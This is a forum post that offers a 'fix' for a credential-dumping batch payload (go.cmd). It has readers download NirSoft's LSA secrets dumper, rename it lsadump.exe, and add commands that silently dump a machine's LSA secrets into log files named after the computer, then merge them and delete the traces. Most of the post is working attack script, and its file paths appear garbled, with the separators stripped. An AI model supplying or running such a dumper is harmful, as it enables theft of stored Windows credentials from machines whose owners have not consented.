Jump to content

LSA Secrets fix


Forgotten
 Share

Recommended Posts

For those who have encountered a failed LSA Secret extraction, I found a fix.

First, download the console version of the program:

http://www.nirsoft.net/utils/lsasecretsdump.zip

Second, place into the /WIP/CMD/ directory and rename to lsadump.exe

Third, replace the original LSA Secrets code in the go.cmd with this:

Echo ************************************ >> ....Documentslogfiles%computername%.log 2>&1

echo ***********[Dump LSA secrets]******* >> ....Documentslogfiles%computername%.log 2>&1

Echo ************************************ >> ....Documentslogfiles%computername%.log 2>&1

   .lsadump.exe >> "....Documentslogfiles%computername%_LSA.log" >> ....Documentslogfiles%computername%.log 2>&1

   copy ....Documentslogfiles%computername%.log+....Documentslogfiles%computername%_lsa.log* ....Documentslogfiles%computername%.log  >> nul

   del /f /q "....Documentslogfiles%computername%_lsa.log" >nul

And there you have it. A working LSA Dumper!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...